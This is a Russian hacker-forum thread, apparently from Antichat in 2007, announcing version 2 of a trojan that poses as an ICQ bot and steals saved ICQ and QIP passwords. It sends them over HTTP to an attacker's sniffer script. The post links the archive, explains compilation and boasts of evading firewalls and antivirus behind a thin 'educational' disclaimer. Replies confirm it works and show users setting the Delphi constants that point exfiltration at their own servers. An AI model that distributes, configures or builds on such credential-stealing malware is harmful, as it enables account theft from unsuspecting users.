|
Релиз ICQ трояна. ver 2
Итак, приступим. Если кто то постоянно тoрчит на Античате и у него хорошая память, то он помнит что гдето месяца полтора назад я выкладывал троянца, который маскируется под ICQ Бота, а на самом деле ворует пароли (очень нехороший =( ). Примерно в воскресенье я сел с утра и начал писать вторую версию. Закончил я это дело в понедельник =). Эти дни я давал троянца на проверку разным хорошим пиплам, чтобы они нашли и сообщили мне о глюках =), теперь же я выкладываю официальную (гыгы) вторую версию троянца. Нового оччень много, но обо всем попорядку. Что добавлено/исправлено:
- Добавлен поиск по винту НЕУСТАНОВЛЕННОГО QIP. - Исправлены глючки с процедурой извлечения паролей (они были и во множетсве = ) ). - Кардинально изменен способ передачи данных. Теперь троян использует не ICQ протокол, а HTTP, а еще конкретнее библиотеку WinInet. Не палится файерами (вроде бы =) ). Антивирями тоже не палится. - Соответственно, если передача теперь по HTTP, То для троя был написан сниффер (его исходник в проекте). - Написан подробный ReadMe.txt =)))) Обращаю внимание, что программа написана в ОБРАЗОВАТЕЛЬНЫХ целях, не стоит реально украдывать ею аськи!!!! Архив с проектом качаем тутс: http://ggg123321.narod.ru/troy.rar Теперб к вопросам компиляции, после релиза первого трояна ICQ и еще одного моего троянца, мою личку зафлудили вопросами о компиляции =))). Объясняю все и всем сразу =). Ничего сложного нет!!! С проектом идет компонент TICQ2003Decrypt (автор не я, автор CobanS), его нужно установить. Далее нужно нажать ctrl-f9, чтобы Делфи скомпилировал троянца без запуска! Дальше можно оптимизировать размер каким нето пакером, но и то это будет приятное, но не обязательное дополнение. ВСЕ!!!!! Это не сложно!!!!! Если же совсем туго, то можно спросить в теме. Это не стыдно, форум для того и создан чтобы делится опытом и знаниями! Потом, у меня перебои с инетом, и я могу ответить не сразу, а в теме же это сделают пусть и дургие люди но оперативно! Авторские права принадлежат прежде всего Antichat.Ru, ну и вашему покорному слуге - А®ТеS'y. Вы можете модифироваь код, это только приветствуется, единственное чего вы не имеет права делать, это КОММЕРЧСКИ распространять программу. __________________ CopyRight Antichat.Ru 2007 year |
аффтор пость все в одном посте!
|
Кто нить качал?
|
я качал вируса не обнаружено, ещё бы суметь под себя подстроить=)
P.s. СКАЖЕМ ВСЕ СПАСИБО А®Теs!! пока на работоспособность не пробовал , но всётаки |
Автору респект!!!
Выдирает даже с флешек! :eek: . Работает вроде без багов, только дельфи 7 при компиляции какой-то совет дает, а так вроде без подстав канектится на указаный сниффер. Outpost 4 резет. Каспер с доктором вебом с последними базами на момент теста неполили. Цитата:
Там на русским в исходниках написано где и что менять =))) Если не поймёшь стуки в Асю помогу чем смогу ;) P.s. даже я с первого раза все правильно скампилил ;) |
Автору респект и плюсик в репу =)
|
Привет.
Скачал троя, подключил ICQ2003Decrypt , поменял константы, скомпилил. Проверил - не пашет. возможно пролема в константах. Я их задал в формате: Server_Addr: PChar= 'http://Myserver.122mb.com'; // мой сайт ScriptName: PChar= 'need.php'; // имя скрипта. hdrs: Pchar= 'Content-Type: application/x-www-form-urlencoded'; // Не менял Скрипт лежит в корневой папке, т.е. http://Myserver.122mb.com/need.php Лог файл тоже там. С уважением, bt2mf88a |
Цитата:
Код:
Server_Addr: PChar= 'Myserver.122mb.com'; |
Так тоже задавал...
|
У меня примерно так и всё работает.
Код:
Server_Addr: PChar= 'Myserver.122mb.com';Или ты просто неправильно установил компонент TICQ2003Decrypt. поставь без заглавной буквы . Код:
Server_Addr: PChar= 'myserver.122mb.com'; |
| Время: 00:44 |